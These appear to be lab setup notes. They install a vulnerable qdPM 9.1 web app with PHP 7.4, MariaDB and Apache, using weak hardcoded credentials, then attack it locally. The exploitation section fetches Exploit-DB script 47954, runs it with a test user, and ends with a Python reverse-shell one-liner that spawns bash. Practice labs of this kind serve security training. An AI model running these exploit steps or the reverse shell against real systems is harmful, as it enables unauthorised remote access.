# Removing php8 and installing php7.4

apt purge php8.\* -y || apt autoclean -y && apt autoremove -y && apt update -y && apt install software-properties-common -y && add-apt-repository ppa:ondrej/php -y && apt-get update -y && apt install php7.4 php7.4-cli php7.4-json php7.4-common php7.4-mysql php7.4-zip php7.4-gd php7.4-mbstring php7.4-curl php7.4-xml php7.4-bcmath -y

# Install utilities and servers

apt install unzip curl wget vim mariadb-server apache2 python3-pip python2 -y

curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py && python2 get-pip.py

cd /var/www/html && wget https://altushost-swe.dl.sourceforge.net/project/qdpm/qdPM\_9.1.zip && unzip qdPM\_9.1.zip

echo "<?php phpinfo(); phpinfo(INFO\_MODULES);?>" > info.php

chown -R www-data:www-data /var/www/html/

echo "root:toor" | chpasswd

/etc/init.d/mysql start && /etc/init.d/apache2 start

mysql -uroot -ptoor -e "CREATE DATABASE qdpm default charset utf8; CREATE USER 'qdpm'@'localhost' IDENTIFIED BY 'StrongPasswordHere';GRANT ALL PRIVILEGES ON qdpm.\* TO 'qdpm'@'localhost';"

docker cp /root/round\_1/docker/ 616deb9c583d:/var/www/

docker cp /root/round\_1/docker/qdpm.sql 616deb9c583d:/var/www/

mysql -uroot -ptoor qdpm < /var/www/qdpm.sql

chown -R www-data:www-data /var/www/

sudo nano /etc/apache2/apache2.conf

ServerName 127.0.0.1

# Configuring servers:

## mysql

CREATE DATABASE qdpm default charset utf8;

CREATE USER 'qdpm'@'localhost' IDENTIFIED BY 'StrongPasswordHere';

GRANT ALL PRIVILEGES ON qdpm.\* TO 'qdpm'@'localhost';

EXIT;

mysql -uroot -ptoor -e "CREATE DATABASE qdpm default charset utf8; CREATE USER 'qdpm'@'localhost' IDENTIFIED BY 'StrongPasswordHere';GRANT ALL PRIVILEGES ON qdpm.\* TO 'qdpm'@'localhost';"

mysqldump -uroot -ptoor qdpm > qdpm.sql

## Apache

mv /var/www/html/index.html /var/www/html/index.bak

# Installing qdpm

<http://192.168.8.150/install/>

[admin@localhost.com](mailto:admin@localhost.com)

### Created user:

developer\_1@localhost.com:developer\_1

# Exploitation

curl https://www.exploit-db.com/raw/47954 > exploit.py

Add the below line in the top in exploit.py

# -\*- coding: utf-8 -\*-

## Installing Python2 for exploit

apt install python2 python-pip

pip2 install requests lxml

python2 exploit.py -url http://127.0.0.1/ -u <user\_email> -p <password>

python2 exploit.py -url http://127.0.0.1/ -u developer\_1@localhost.com -p developer\_1

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",1234));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'